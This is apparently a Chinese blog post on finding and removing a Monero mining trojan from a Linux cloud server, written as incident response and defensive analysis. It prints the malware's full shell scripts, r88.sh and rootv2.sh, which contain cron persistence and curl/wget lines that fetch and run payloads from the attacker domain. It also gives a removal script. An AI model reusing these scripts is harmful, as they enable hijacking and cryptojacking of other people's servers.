记一次Linux云服务器上的挖矿木马(r88.sh、rootv2.sh)

背景:
最近发现ssh连接不上我的腾讯云服务器(上面运行2个测试项目),于是去控制台重启服务器,但过了一天后又发现连接不上了,于是我再重启并在接下的一天内时刻关注cpu和内存使用情况,发现内存占用越来越大,cpu使用率也居高不下,ps aux查看进程发现一堆莫名线程和sleep 600等,网上一查发现居然中了挖矿木马?!


木马详情请看任子行报告:一个Linux平台的门罗币挖矿木马的查杀与分析


1、定位

直接查看目录 /var/spool/cron
这里写图片描述
发现root文件,再进入crontabs目录,也发现同样一个root文件,vim查看内容:
这里写图片描述
一个定时任务:http://e3sas6tzvehwgpak.tk/r88.sh|sh,5秒一次

再cd到 /tmp 目录下,发现rootv2.shr88.shpools.txtbashdbashe以及Xagent2等木马相关文件


2、分析

先查看下2个挖矿脚本:
r88.sh:

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
#export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
#chmod +x /tmp/hawk && ps auxf | grep -v grep | grep hawk || nohup /tmp/hawk >/dev/null 2>&1 &
rm -rf /tmp/config.txt
whoami=$( whoami )
if [ ${whoami}x != "root"x ];then
    curl http://e3sas6tzvehwgpak.tk/lowerv2.sh > /tmp/lower.sh
  chmod 777 /tmp/lower.sh
  nohup bash /tmp/lower.sh >/dev/null 2>&1 &
    if [ ! -f "/tmp/lower.sh" ] ;then
        wget -P /tmp/ http://e3sas6tzvehwgpak.tk/lowerv2.sh
        rm /tmp/lower.sh.*
    rm /tmp/lowerv2.sh.*
    fi
  chmod 777 /tmp/lowerv2.sh
  nohup bash /tmp/lowerv2.sh >/dev/null 2>&1 &
else
  echo "*/5 * * * * curl -fsSL http://e3sas6tzvehwgpak.tk/r88.sh|sh" > /var/spool/cron/root
  mkdir -p /var/spool/cron/crontabs
  echo "*/5 * * * * curl -fsSL http://e3sas6tzvehwgpak.tk/r88.sh|sh" > /var/spool/cron/crontabs/root

    curl http://e3sas6tzvehwgpak.tk/rootv2.sh > /tmp/root.sh
  chmod 777 /tmp/root.sh
  nohup bash /tmp/root.sh>/dev/null 2>&1 &
    if [ ! -f "/tmp/root.sh" ] ;then
        wget -P /tmp/ http://e3sas6tzvehwgpak.tk/rootv2.sh
        rm /tmp/root.sh.*
    rm /tmp/rootv2.sh.*
    fi
    chmod 777 /tmp/rootv2.sh
    nohup bash /tmp/rootv2.sh >/dev/null 2>&1 &
fi

木马以r88.sh作为downloader首先控制服务器,通过判断当前账户的权限是否为root来进行下一步的操作,若为root则在目录/var/spool/cron/root和/var/spool/cron/crontabs/root下写计划任务”/5 * * * curl -sL https://x.co/6nPMR | sh”,其中这个短链接还原后为https://xmr.enjoytopic.tk/12/r88.sh。若为非root账户,则不写计划任务。接着均会执行下载运行rootv2.sh或lowerv2.sh(基于当前账户是否为root来选择下载脚本)等一系列的操作。

rootv2.sh:

#!/bin/bash

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function kills() {
#ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid
#do
#pkill -f $procid
#done
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f AnXqV.yam
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "[email protected]"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
PORT_NUMBER=3333
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=5555
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=7777
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=14444
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
}
function downloadyam() {
    if [ ! -f "/tmp/config.json" ]; then
            curl http://e3sas6tzvehwgpak.tk/config.json -o /tmp/config.json && chmod +x /tmp/config.json
            if [ ! -f "/tmp/config.json" ]; then
                wget http://e3sas6tzvehwgpak.tk/config.json -P /tmp && chmod +x /tmp/config.json
                rm -rf config.json.*
            fi
    fi

    if [ ! -f "/tmp/bashd" ]; then
        curl http://e3sas6tzvehwgpak.tk/bashd -o /tmp/bashd && chmod +x /tmp/bashd
            if [ ! -f "/tmp/bashd" ]; then
                wget http://e3sas6tzvehwgpak.tk/bashd -P /tmp && chmod +x /tmp/bashd
                rm -rf bashd.*
            fi
            #nohup /tmp/bashd -p $(hostname)>/dev/null 2>&1 &
            nohup /tmp/bashd -p bashd>/dev/null 2>&1 &
    else
            #writecrontab
            #writerc
            p=$(ps aux | grep bashd | grep -v grep | wc -l)
            if [ ${p} -eq 1 ];then
                echo "bashd"
            elif [ ${p} -eq 0 ];then
                #nohup /tmp/bashd -p $(hostname)>/dev/null 2>&1 &
                nohup /tmp/bashd -p bashd>/dev/null 2>&1 &
            else
                echo ""
            fi
    fi

    sleep 15

    p=$(ps aux | grep bashd | grep -v grep | wc -l)
    if [ ${p} -eq 1 ];then
        echo "bashd"
    elif [ ${p} -eq 0 ];then
        if [ ! -f "/tmp/pools.txt" ]; then
                curl http://e3sas6tzvehwgpak.tk/pools.txt -o /tmp/pools.txt && chmod +x /tmp/pools.txt
                if [ ! -f "/tmp/pools.txt" ]; then
                    wget http://e3sas6tzvehwgpak.tk/pools.txt -P /tmp && chmod +x /tmp/pools.txt
                    rm -rf pools.txt.*
                fi
        fi

        if [ ! -f "/tmp/bashe" ]; then
                curl http://e3sas6tzvehwgpak.tk/bashe -o /tmp/bashe && chmod +x /tmp/bashe
                if [ ! -f "/tmp/bashe" ]; then
                    wget http://e3sas6tzvehwgpak.tk/bashe -P /tmp && chmod +x /tmp/bashe
                    rm -rf bashe.*
                fi
                nohup /tmp/bashe  -C /tmp/pools.txt>/dev/null 2>&1 &
        else
                p=$(ps aux | grep bashe | grep -v grep | wc -l)
                if [ ${p} -eq 1 ];then
                    echo "bashe"
                elif [ ${p} -eq 0 ];then
                    nohup /tmp/bashe -C /tmp/pools.txt>/dev/null 2>&1 &
                else
                    echo ""
                fi
        fi
    else
        echo ""
    fi
    sleep 15
    if [ ! -f "/tmp/Xagent2" ]; then
            curl http://e3sas6tzvehwgpak.tk/Xagent2 -o /tmp/Xagent2 && chmod +x /tmp/Xagent2
            if [ ! -f "/tmp/Xagent2" ]; then
                wget http://e3sas6tzvehwgpak.tk/Xagent2 -P /tmp && chmod +x /tmp/Xagent2
                rm -rf Xagent2.*
            fi
            nohup /tmp/Xagent2 >/dev/null 2>&1 &
    else
            p=$(ps aux | grep Xagent2 | grep -v grep | wc -l)
            if [ ${p} -eq 1 ];then
                echo "Xagent2"
            elif [ ${p} -eq 0 ];then
                nohup /tmp/Xagent2 >/dev/null 2>&1 &
            else
                echo ""
            fi
    fi
}

while [ 1 ]
do
    kills
    downloadyam
    sleep 600
done

Kills函数用于删除其他同行的挖矿木马的文件并kill进程,真是一山不能容二马的节奏啊。

具体挖矿代码分析还是看开篇的任子行文章吧!毕竟别人专业的!


3、解决

所幸该木马并没有感染传播的蠕虫属性,猜测是攻击者直接通过一般漏洞来进行的无差别攻击植入的挖矿downloader。经过对服务器进行渗透测试,确实发现了Apache ActiveMQ Fileserver远程代码执行漏洞(CVE-2016-3088)与ActiveMQ 反序列化漏洞(CVE-2015-5254)。所以企业在上线服务之前最好还是先让安全从业人员先进行安全评估加固之后会更加安全一些。

木马查杀:
1)尝试杀掉bashd与bashe进程以及root.sh/rootv2.sh/lower.sh/lowerv2.sh与r88.sh这些shell进程

2)清除掉/tmp目录下木马释放的文件:
/tmp/bashd、/tmp/bashe、/tmp/root.sh、/tmp/rootv2.sh、/tmp/r88.sh、/tmp/pools.txt、/tmp/config.json等

3)清除3个位置的定时任务:/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d

对应的自动查杀脚本如下:

#!/bin/bash
for ((i=1;i>0;i++))
do
    ps -ef | grep "/tmp/bashd -p bashd" | grep -v grep | awk '{print $2}' | xargs kill
    ps -ef | grep "/tmp/bashe -p bashd" | grep -v grep | awk '{print $2}' | xargs kill
    ps -ef | grep "bash /tmp/root.sh" | grep -v grep | awk '{print $2}' | xargs kill
    ps -ef | grep "bash /tmp/r88.sh" | grep -v grep | awk '{print $2}' | xargs kill
    ps -ef | grep "bash /tmp/rootv2.sh" | grep -v grep | awk '{print $2}' | xargs kill
ps -ef | grep "bash /tmp/lower.sh" | grep -v grep | awk '{print $2}' | xargs kill
ps -ef | grep "bash /tmp/lowerv2.sh" | grep -v grep | awk '{print $2}' | xargs kill
    rm /tmp/bashd /tmp/bashe /tmp/config.json /tmp/root.sh /tmp/rootv2.sh /tmp/r88.sh /tmp/pools.txt -r
    rm /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root
done

最后好像还有个/tmp/Xagent2,我也把他删了!


3、总结

该挖矿木马并没有使用很多高级的防查杀技术,也没有广泛传播的蠕虫属性,仅仅使用定时任务来实现简单的进程保护,通过无差别攻击进行“抓鸡”植入木马,而且直接使用shell脚本编写的下载器加上开源的挖矿代码就开始“抓肉鸡”挖矿,由此可见现在对于挖矿木马的门槛在降低,但是这样简单的操作就足以严重危害网络的可用性与安全性。

关于挖矿木马如何防范与其他恶意代码以及入侵事件如何防范一样,实际上均是老生常谈的话题,最重要的一点还是企业需要正视网络安全的重要性,及时对系统以及应用打补丁,定期组织安全人员进行服务器的维护,提高企业员工的安全意识等等。

猜你喜欢

转载自blog.csdn.net/abysscarry/article/details/80360811